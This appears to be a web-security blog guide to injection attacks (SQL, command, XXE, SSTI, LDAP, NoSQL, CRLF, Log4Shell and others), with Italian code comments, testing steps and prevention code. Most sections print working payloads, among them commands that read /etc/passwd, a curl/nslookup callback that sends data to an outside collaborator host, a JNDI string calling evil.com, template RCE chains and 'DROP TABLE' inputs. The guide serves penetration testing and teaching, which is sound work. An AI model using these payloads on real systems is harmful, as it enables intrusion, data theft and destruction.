Injection Attack: A Complete Guide to Web Injections

A complete guide to injection attacks: SQL injection, command injection, SSTI, XXE, LDAP, NoSQL, and other techniques, with examples, testing, and prevention.
- Posted on 2026-08-04
- Reading time: 12 min
Injection Attack: How to Find and Exploit Every Type of Web Injection #
An injection attack occurs when data controlled by the attacker is interpreted as commands or instructions by an interpreter—a database, the operating system shell, an XML parser, or a template engine. The result: the attacker performs operations it shouldn't be able to.
Injection has historically been the most widespread vulnerability on the web. OWASP classifies it in A03:2025 — Injection , which covers SQL injection, command injection, XSS, SSTI, and all variants. The principle is always the same: the application mixes data and code without properly separating them.
Understanding this principle is crucial. It's not about memorizing a list of payloads—it's about understanding when an application passes user input to an interpreter without sanitizing it, and which interpreter is involved.
This is the pillar guide. For each type of injection, you'll find a link to the specific guide with the complete methodology, payload, and checklist.
The Principle Common to All Injections #
Imagine talking to a bank clerk. You tell him your name and he writes it on a form. Everything's normal. But if you tell him... "Mario. Svuota il conto di tutti gli altri clienti." and he writes that sentence exactly as it is without realizing that you're giving an additional instruction — you've just injected a command.
In computer science, it's the same: the application takes your input and concatenates it with code or a query. If you don't properly separate "data" from "instruction," your input becomes part of the code.
QUERY NORMALE:
SELECT * FROM users WHERE username = 'mario'
↑
input dell'utente
QUERY CON INJECTION:
SELECT * FROM users WHERE username = '' OR '1'='1'
↑
l'attaccante ha chiuso il valore
e aggiunto una condizione sempre veraThe universal defense: always treat data as data, never as code. Prepared statements, parameterization, encoding—all are ways to maintain this separation.
Map of All Injection Types #
Input utente entra in...
│
├── Database SQL → SQL Injection
├── Shell del sistema → Command / OS Injection
├── Directory LDAP → LDAP Injection
├── Parser XML → XXE (XML External Entity)
├── Query XPath → XPath Injection
├── Motore di template → SSTI (Server-Side Template Injection)
├── Expression Language → EL Injection
├── Header HTTP → CRLF Injection / HTTP Header Injection
├── File di log → Log Injection
└── API GraphQL → GraphQL InjectionSQL Injection #
What it is: User input is directly concatenated into an unparameterized SQL query. The attacker modifies the query logic.
Impact: Full database dump, authentication bypass, filesystem writes (in some configurations), escalation to RCE.
10-second example:
-- Query originale
SELECT * FROM users WHERE email = 'mario@mail.com' AND password = 'pass'
-- Con injection nel campo email
SELECT * FROM users WHERE email = 'admin@mail.com'--' AND password = 'qualsiasi'
-- ↑
-- -- commenta il resto → bypass authVariants:
- Classic SQL Injection — visible error, direct output in response → sql-injection-classic
- Blind SQL Injection — no output, infer data from behaviors (true/false, timing) → blind-sql-injection
- Time-Based SQL Injection — uses
SLEEP()oWAITFOR DELAYto extract bit-by-bit data from response times → time-based-sql-injection - SQL Injection on REST API — injection comes in JSON parameters instead of traditional forms → sql-injection-api-rest
- SQL Injection on ORM — even query builders like Eloquent or SQLAlchemy can be vulnerable if used incorrectly → sql-injection-orm
Common target: MSSQL — if you find port 1433 open during reconnaissance, MSSQL is often a prime vector for SQL injection with escalation to xp_cmdshell (RCE) → port-1433-mssql
→ Complete guide: sql-injection
Command Injection / OS Command Injection #
What's this: user input is passed to a function that executes system commands (exec(), system(), popen(), subprocess). The attacker injects additional commands.
Impact: Immediate RCE — full OS access with web process privileges.
Example:
# L'applicazione esegue ping sull'IP fornito dall'utente
ping -c 1 USER_INPUT
# Input normale:
ping -c 1 192.168.1.1
# Con injection:
ping -c 1 192.168.1.1; cat /etc/passwd
ping -c 1 192.168.1.1 && whoami
ping -c 1 $(whoami)
ping -c 1 `id`Separator characters to test:
; → esegue comando successivo
&& → esegue se il primo ha successo
|| → esegue se il primo fallisce
| → pipe: output del primo diventa input del secondo
` → backtick: esecuzione inline
$() → command substitution
\n → newline come separatore (in alcuni contesti)Blind command injection — no visible output, uses DNS/HTTP callbacks to confirm:
# Se non vedi l'output, usa un ping/curl verso il tuo server
; curl http://COLLABORATOR.burpcollaborator.net/$(whoami)
; nslookup $(whoami).COLLABORATOR.burpcollaborator.net→ Complete guide: command-injection — os-command-injection
LDAP injection #
What it is: User input is passed through an unescaped LDAP filter. Used when the application authenticates users via a directory service (Active Directory, OpenLDAP).
Impact: Authentication bypass, user and group enumeration, directory dump.
Example:
# Filtro LDAP originale per il login
(&(uid=UTENTE)(password=PASS))
# Con injection nel campo username
# Chiudi il filtro e aggiungi una condizione sempre vera:
UTENTE: admin)(&
# Risultato: (&(uid=admin)(&)(password=qualsiasi))
# → Il filtro è sempre vero → bypass auth come admin
# Wildcard per enumerare utenti
UTENTE: *
# Risultato: (&(uid=*)(password=qualsiasi))
# → Lista tutti gli utenti→ Complete guide: ldap-injection
XXE — XML External Entity Injection #
What it is: The application parses user-supplied XML, and the XML parser supports "external entities"—references to local files or remote URLs. The attacker uses this functionality to read system files or perform SSRF.
Impact: reading local files (/etc/passwd, SSH keys, configuration files), SSRF to internal networks, in rare cases RCE.
Example:
<!-- Payload XXE per leggere /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
<!-- L'applicazione parsa questo XML e restituisce il contenuto
di /etc/passwd al posto di &xxe; -->Where to look: XML file uploads, SOAP endpoints, SVG uploads, data imports via XML, any field that accepts XML or transforms the body to XML internally.
→ Complete guide: xxe — xxe-injection
XPath Injection #
What it is: Similar to SQL injection, but on XML databases. The application uses XPath to query XML files (configurations, data) and concatenates the user input into the query without escaping.
Impact: Authentication bypass, reading arbitrary XML nodes (user data, credentials, configurations).
Example:
# Query XPath originale per il login
//users/user[username/text()='mario' and password/text()='pass']
# Con injection nel campo username:
mario' or '1'='1
# Query risultante:
//users/user[username/text()='mario' or '1'='1' and password/text()='pass']
# → La condizione or '1'='1' è sempre vera → bypass authCommon payloads:
' or '1'='1
' or '1'='1' or 'x'='x
'] | //* | /foo['
x' or name()='username' or 'x'='y→ Complete guide: xpath-injection
SSTI — Server-Side Template Injection #
What it is: User input is inserted directly into a server-side template (Jinja2, Twig, Freemarker, Velocity, Smarty, ERB, Pebble, Thymeleaf) without escaping. The templating engine evaluates it as code, not data.
Impact: RCE — The templating engine has access to the server environment and you can use it to execute commands.
Example (Jinja2 — Python/Flask):
# Codice vulnerabile Flask
@app.route('/hello')
def hello():
name = request.args.get('name')
return render_template_string(f"Ciao {name}!") # ← concatenazione diretta
# Input normale:
# /hello?name=Mario → Ciao Mario!
# Con injection:
# /hello?name={{7*7}} → Ciao 49! (il template ha valutato 7*7)
# /hello?name={{config}} → mostra la configurazione Flask
# /hello?name={{''.__class__.__mro__[1].__subclasses__()}} → introspezione Python
# Escalation a RCE:
# /hello?name={{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}Template Engine Fingerprinting:
{{7*7}} → 49 → Jinja2, Twig
${7*7} → 49 → Freemarker, Velocity
#{7*7} → 49 → Pebble
*{7*7} → 49 → Thymeleaf (Spring)
<%= 7*7 %> → 49 → ERB (Ruby)→ Complete guide: ssti-server-side-template-injection
Engine-specific guides:
- jinja2-ssti-rce · twig-ssti-rce · freemarker-ssti-rce
- velocity-ssti-rce · erb-ssti-rce · pebble-ssti-rce
- thymeleaf-ssti-rce · smarty-ssti-rce · mako-ssti-rce
Expression Language Injection (EL Injection) #
What it is: Specific to Java applications using Expression Languages (JSP EL, Spring SpEL, OGNL in Struts). Input is evaluated as an EL expression rather than data.
Impact: Reading internal variables, executing Java methods, RCE in some contexts.
Example (Spring SpEL):
// Vulnerabile: valuta l'input come SpEL expression
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput); // ← RCE se userInput è controllato
// Payload:
T(java.lang.Runtime).getRuntime().exec('id')
T(java.lang.ProcessBuilder).new(new String[]{'id'}).start()→ Complete guide: expression-language-injection
CRLF Injection / HTTP Header Injection #
What's this: \r\n (Carriage Return + Line Feed) is the line separator in HTTP headers. If user input is placed in an unescaped HTTP header and contains \r\n, the attacker can add arbitrary headers or inject a body into the response.
Impact: HTTP response splitting, XSS via header injection, cache poisoning, session fixation, malicious redirect.
Example:
# URL vulnerabile: /redirect?url=https://safe.com
# Response: Location: https://safe.com
# Con injection:
/redirect?url=https://safe.com%0d%0aSet-Cookie:%20session=ATTACKER_SESSION
# Response risultante:
HTTP/1.1 302 Found
Location: https://safe.com
Set-Cookie: session=ATTACKER_SESSION ← iniettato dall'attaccante→ Complete guide: crlf-injection — http-header-injection
Log Injection #
What it is: User input is written to the application's log files without sanitization. The attacker injects fake log entries to pollute the logs, hide real activity, or exploit systems that consume logs (SIEM, log viewer).
Impact: Audit trail falsification, XSS in log viewing web interfaces, log4shell (RCE via log injection in Log4j), command injection if logs are processed by scripts.
Example:
# Campo username nel login
username = "admin\n[2024-01-15 10:23:11] INFO Login successful for: root"
# → Il log mostra un accesso riuscito di root che non è mai avvenuto
# Log4Shell (CVE-2021-44228) — il caso più grave
# Log4j valutava le espressioni JNDI nei messaggi di log
username = "${jndi:ldap://evil.com/a}"
# → Log4j contatta evil.com → carica un payload Java → RCE→ Complete guide: log-injection
GraphQL Injection #
What it is: GraphQL APIs are vulnerable to injection if resolvers don't parameterize queries to the backend database. Additionally, GraphQL has specific vectors such as abused introspection, batch queries for brute force, and nested queries for DoS.
Impact: SQL injection via GraphQL resolver, schema enumeration, brute force via batch queries, DoS with nested queries.
Example:
# Batch query per brute force OTP (100 tentativi in una sola richiesta)
mutation {
login1: login(username: "admin", otp: "000000") { token }
login2: login(username: "admin", otp: "000001") { token }
login3: login(username: "admin", otp: "000002") { token }
# ... fino a 999999
}
# Introspection: scopri tutto lo schema
{ __schema { types { name fields { name } } } }→ Complete guide: graphql-exploitation
How to Identify Injection: General Methodology #
Regardless of the type, the discovery process is always the same:
Step 1 — Map all inputs
Every point where your application receives data from the user is a potential injection point: form fields, URL parameters, HTTP headers, cookies, JSON/XML bodies, file uploads.
# Con Burp: usa il Proxy History per vedere tutto il traffico
# Filtra per parametri: cerca input che vengono "riflessi" nella response
# o che cambiano il comportamento dell'applicazioneStep 2 — Identify the interpreter
What does the application do with that input? Does it pass it to a database? Does it use it in a template? Does it put it in an HTTP header? Does it write it to a log? The interpreter determines the type of injection to test for.
# Indizi sull'interprete:
# - Errori SQL visibili → database
# - Errori di template → motore template
# - Comportamento diverso con caratteri speciali → parsing
# - Tempo di risposta variabile con SLEEP() → SQL time-basedStep 3 — Test special characters
Every interpreter has special characters that affect parsing. Always try these first:
' → SQL, XPath, LDAP
" → SQL, XPath
; → Command injection
&& || → Command injection
{{ }} → Template injection (Jinja2, Twig)
${ } → Template injection (Freemarker, EL)
\r\n → CRLF injection
<! → XXE
-- # → SQL commentStep 4 — Observe the behavior
- Visible error → injection confirmed (may also reveal interpreter type)
- Different behavior between normal input and input with special characters → injection possible
- No difference → there might be sanitization, or the input doesn't go to an interpreter
Step 5 — Use automation tools for confirmation
# SQL injection → sqlmap
sqlmap -u "https://target.com/search?q=test" --dbs
# Command injection → commix
commix --url="https://target.com/ping?host=127.0.0.1"
# Template injection → tplmap
python3 tplmap.py -u "https://target.com/hello?name=test"
# XXE → Burp Scanner o BApp XXE
# LDAP injection → jxploit, ldap-blind-explorerNoSQL Injection #
What it is: Applications using NoSQL databases (MongoDB, CouchDB, Redis) construct queries with their own operators instead of SQL. If user input ends up in these operators without validation, an attacker can alter the query logic.
Impact: Authentication bypass, reading other users' data, database enumeration.
Example with MongoDB — bypass login:
# Login normale in JSON
{"username": "mario", "password": "pass"}
# Con injection: l'operatore $ne ("not equal") rende la query sempre vera
{"username": "admin", "password": {"$ne": ""}}
# → MongoDB cerca: username=admin AND password != ""
# → Qualsiasi password != "" → bypassa l'autenticazione
# In URL-encoded (form tradizionale):
username=admin&password[$ne]=anything
# Enumerazione: $regex per capire quali utenti esistono
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
# → Restituisce utenti il cui username inizia con 'a'
# Estrazione blind con $regex carattere per carattere
{"username": "admin", "password": {"$regex": "^a"}} # True se password inizia con 'a'
{"username": "admin", "password": {"$regex": "^b"}} # False → non inizia con 'b'
# → Inferisci la password lettera per letteraSecond-Order Injection #
What it is: The payload isn't executed immediately, but is saved in the database and then executed later when that data is reused in an unsanitized query. This is the most insidious vulnerability because it's present in one place and unleashed in another.
Impact: Same as direct injections (RCE, DB dump, auth bypass) — but much harder to detect in code reviews and automated tests.
How does it work:
Step 1 — Registrazione (il payload viene "salvato")
Username: admin'--
L'applicazione sanitizza correttamente l'input → salvato nel DB come admin'--
Sembra sicuro. Nessun errore.
Step 2 — Cambio password (il payload viene RIUSATO senza sanitizzazione)
Il codice fa:
UPDATE users SET password='nuova' WHERE username='admin'--'
↑
questo viene dal DB, il developer
non lo sanitizza di nuovo perché
"viene dal nostro DB, è già sicuro"
La query effettiva:
UPDATE users SET password='nuova' WHERE username='admin'--'
Il -- commenta il resto → aggiorna la password di TUTTI gli utenti adminHow to find it:
# Registra un account con payload SQL nel nome/username
curl -X POST "https://target.com/register" \
-d "username=admin'--&email=test@test.com&password=pass"
# Nessun errore? → salvato nel DB
# Ora usa funzionalità che riusano quei dati: cambio password, profilo, export
# Osserva comportamenti anomali: errori SQL, dati di altri utenti, modifche non attese
# Pattern comuni da testare come username:
# admin'--
# ' OR '1'='1
# admin'; DROP TABLE users;--
# 1' UNION SELECT 1,username,password FROM users--HTTP Parameter Pollution (HPP) #
What it is: You send the same parameter multiple times in the same request. The WAF and the backend process it differently—the WAF only sees the first (clean) value, the backend uses the second (malicious) one.
Impact: WAF bypass, input validation bypass, unexpected behavior in application logic. Research from 2025 showed that this technique bypasses over 70% of tested WAF configurations, with only a few providers (Google Cloud Armor, Azure WAF with ruleset 2.1) blocking it.
How does it work:
# Query string con parametro duplicato
https://target.com/search?q=legit&q='; DROP TABLE users;--
# WAF → vede q=legit → OK, nessun payload rilevato
# Backend (ASP.NET) → concatena i valori: q="legit, '; DROP TABLE users;--"
# Oppure usa il secondo valore: q="'; DROP TABLE users;--"
# Dipende dal framework come vengono gestiti i duplicati:
# ASP.NET → concatena con virgola
# PHP → usa l'ultimo
# Flask/Django → usa il primo
# Express.js → crea un array
# HPP + XSS per bypassare WAF (tecnica 2025):
# ASP.NET concatena i parametri → payload distribuito su più parametri
?name=<img&name= src=x&name= onerror=alert(1)>
# ASP.NET: name = "<img, src=x, onerror=alert(1)>" ← WAF non lo rileva come XSS
# Il browser riassembla e interpreta il tagUnicode Normalization Injection #
What it is: Some Unicode characters are "normalized" to standard ASCII characters by the backend or database. If the WAF or input filter doesn't know these equivalencies, a payload written with exotic Unicode characters will pass the filters but execute correctly.
How does it work:
# Caratteri Unicode che si normalizzano a ' (singolo apice) in alcuni DB:
# ' (U+FF07, fullwidth apostrophe)
# ʼ (U+02BC, modifier letter apostrophe)
# ′ (U+2032, prime)
# Payload SQL che bypassa filtri sul carattere '
username: admin'--
# Il filtro cerca ' → non lo trova → payload passa
# Il DB normalizza ' a ' → la query diventa: WHERE username='admin'--'
# Test di base: prova caratteri Unicode "equivalenti" nei campi
# < (U+FF1C) → < per XSS bypass
# > (U+FF1E) → >
# / (U+FF0F) → / per path traversal
# Tool: Burp Suite + Unicode Fuzzer extension
# oppure manuale con payload da intltestInjection into HTTP Headers (WAF Bypass) #
What it is: Many WAFs parse body and query strings but ignore (or parse less carefully) HTTP headers. If the application uses certain headers to construct queries or commands, those are unprotected injection vectors.
# Header spesso loggati senza sanitizzazione → log injection / SQL injection
User-Agent: Mozilla' OR '1'='1
X-Forwarded-For: 127.0.0.1' OR SLEEP(5)--
Accept-Language: en' UNION SELECT username,password FROM users--
Referer: https://evil.com/' OR '1'='1
# Perché funziona:
# 1. Il WAF applica regole più permissive agli header che al body
# 2. L'applicazione logga questi header e poi fa query sui log
# 3. L'IP in X-Forwarded-For viene usato in whitelist/blacklist via DB
# Come testare:
curl "https://target.com/login" \
-H "X-Forwarded-For: 1.1.1.1' OR SLEEP(5)--" \
-d "username=test&password=test"
# Se la response impiega 5 secondi → SQL injection nell'header confermataPrevention: The Universal Principle #
All injections are prevented with the same approach: never chain user input with code or queries. Always parameterize.
# SQL → Prepared Statement
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
# Command → evita exec() con input utente. Se necessario, usa lista di argomenti
subprocess.run(["ping", "-c", "1", ip_address]) # NO shell=True
# Template → non inserire input utente nel template stesso
render_template("hello.html", name=user_input) # sì
render_template_string(f"Ciao {user_input}") # NO
# LDAP → usa librerie con escaping nativo o escapa manualmente
# XML → disabilita le external entities nel parser
# Log → logga solo dopo sanitizzazione (rimuovi \n, \r, JNDI lookups)Internal Links Map #
| Type | Dedicated guide |
|---|---|
| SQL Injection | sql-injection · classic · blind · time-based · REST API · ORM |
| command injection | command injection · os-command-injection |
| LDAP injection | ldap-injection |
| XXE | twentieth · xxe-injection |
| XPath Injection | xpath-injection |
| SSTI | ssti-server-side-template-injection |
| EL Injection | expression-language-injection |
| CRLF / Header | crlf-injection · http-header-injection |
| Log Injection | log injection |
| GraphQL | graphql-exploitation |
| RCE (final result) | rce |
Checklist #
DISCOVERY
☐ Tutti i punti di input mappati (form, URL, header, cookie, JSON/XML, file)
☐ Caratteri speciali testati: ' " ; && || {{ }} ${ } \r\n <!
☐ Errori o comportamenti anomali osservati e annotati
☐ Interprete identificato (DB, shell, template, XML parser, log...)
PER TIPO
☐ SQL: ' nella query → errore? → sqlmap per conferma
☐ Command: ; whoami → output? → commix per automazione
☐ SSTI: {{7*7}} → 49? → tplmap per identificare il motore
☐ XXE: DOCTYPE con entità esterna → file letto nella response?
☐ LDAP: ' o * nel login → bypass o comportamento anomalo?
☐ XPath: ' or '1'='1 nel login → accesso?
☐ CRLF: %0d%0a nei parametri URL/header → header iniettato nella response?
☐ Log: \n nel campo → falsa riga nei log? Log4j: ${jndi:...}?
☐ GraphQL: introspection attiva? Batch query per brute force?
ESCALATION
☐ SQL → dump DB → credenziali → ATO?
☐ Command / SSTI → RCE → reverse shell → post-exploitation?
☐ XXE → /etc/passwd → chiavi SSH → credenziali?
☐ LDAP → bypass auth → account admin?FAQ #
Which type of injection is more dangerous? Command injection and SSTI lead directly to RCE—full server access. SQL injection can lead to a complete database dump, which often contains credentials for further escalation. XXE can lead to the reading of sensitive files and SSRF. In practice, it depends on the context, but command injection and SSTI are the most straightforward.
How do I distinguish between injection types?
From application behavior with special characters. SQL error → SQL injection. {{7*7}} rated at 49 → template injection. Slower response with SLEEP(5) → Time-based SQL. No output, but DNS callbacks → blind injection. Note the type of interpreter likely handling that input.
Is sqlmap enough to find all SQL injections? No. sqlmap is excellent for SQL injections in classic GET/POST parameters, but it struggles with injections in HTTP headers, complex cookies, nested JSON, or when there's a WAF. Manual testing remains essential for non-standard cases.
Can I detect injections with just a browser? To a limited extent. You can insert special characters into fields and observe errors. But for systematic testing, you need Burp Suite—it allows you to modify any part of the request (header, cookie, body) that the browser won't let you touch.
Resources #
- PortSwigger Web Security Academy — Injection
- OWASP Injection
- PayloadsAllTheThings — all payloads for every type of injection
From a single quote to a server shell: injection is the oldest and most alive concept in web hacking.








